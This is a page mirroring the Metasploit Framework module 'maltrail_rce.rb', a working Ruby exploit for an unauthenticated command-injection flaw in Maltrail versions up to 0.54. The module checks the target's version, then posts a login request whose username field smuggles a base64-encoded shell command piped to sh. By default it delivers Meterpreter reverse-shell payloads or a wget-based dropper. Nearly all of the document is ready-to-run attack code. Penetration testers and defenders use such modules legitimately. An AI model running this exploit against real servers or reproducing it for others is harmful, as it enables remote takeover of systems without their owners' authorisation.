Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/maltrail_rce.rb
23580 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Maltrail Unauthenticated Command Injection',
18
'Description' => %q{
19
Maltrail is a malicious traffic detection system, utilizing publicly
20
available blacklists containing malicious and/or generally suspicious trails.
21
The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
22
The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
23
a command injection vulnerability in the `params.get("username")` parameter.
24
An attacker can exploit this vulnerability by injecting arbitrary OS commands
25
into the username parameter. The injected commands will be executed with the
26
privileges of the running process. This vulnerability can be exploited remotely
27
without authentication.
28
29
Successfully tested against Maltrail versions 0.52 and 0.53.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Ege BALCI <egebalci[at]pm.me>', # msf module
34
'Valentin Lobstein', # Add CVE reference + rewrite
35
'Chris Wild', # original PoC, analysis
36
],
37
'References' => [
38
['CVE', '2025-34073'],
39
['EDB', '51676'],
40
['CVE', '2025-34073'],
41
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
42
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
43
],
44
'Platform' => %w[unix linux],
45
'Privileged' => false,
46
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
47
'Targets' => [
48
[
49
'Unix Command',
50
{
51
'Platform' => 'unix',
52
'Arch' => ARCH_CMD,
53
'Type' => :unix_cmd,
54
'DefaultOptions' => {
55
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
56
}
57
}
58
],
59
[
60
'Linux Dropper',
61
{
62
'Platform' => 'linux',
63
'Arch' => [ARCH_X86, ARCH_X64],
64
'Type' => :linux_dropper,
65
'CmdStagerFlavor' => :wget,
66
'DefaultOptions' => {
67
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
68
}
69
}
70
]
71
],
72
'DisclosureDate' => '2023-07-31',
73
'DefaultTarget' => 0,
74
'Notes' => {
75
'Stability' => [CRASH_SAFE],
76
'Reliability' => [REPEATABLE_SESSION],
77
'SideEffects' => []
78
}
79
)
80
)
81
register_options(
82
[
83
Opt::RPORT(8338),
84
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
85
]
86
)
87
end
88
89
def check
90
res = send_request_cgi(
91
'uri' => normalize_uri(target_uri.path),
92
'method' => 'GET'
93
)
94
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
95
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
96
97
version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}
98
99
if version < Rex::Version.new('0.54')
100
return CheckCode::Appears("Version Detected: #{version}")
101
end
102
103
CheckCode::Safe("Version Detected: #{version}")
104
end
105
106
def execute_command(cmd, _opts = {})
107
send_request_cgi(
108
'uri' => normalize_uri(target_uri.path, 'login'),
109
'method' => 'POST',
110
'uri_encode_mode' => 'none',
111
'headers' => {
112
'ctype' => 'application/x-www-form-urlencoded'
113
},
114
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`"
115
)
116
end
117
118
def exploit
119
case target['Type']
120
when :unix_cmd
121
print_status("Executing #{target.name}...")
122
execute_command(payload.encoded)
123
when :linux_dropper
124
print_status("Executing #{target.name}...")
125
execute_cmdstager
126
end
127
end
128
end
129
130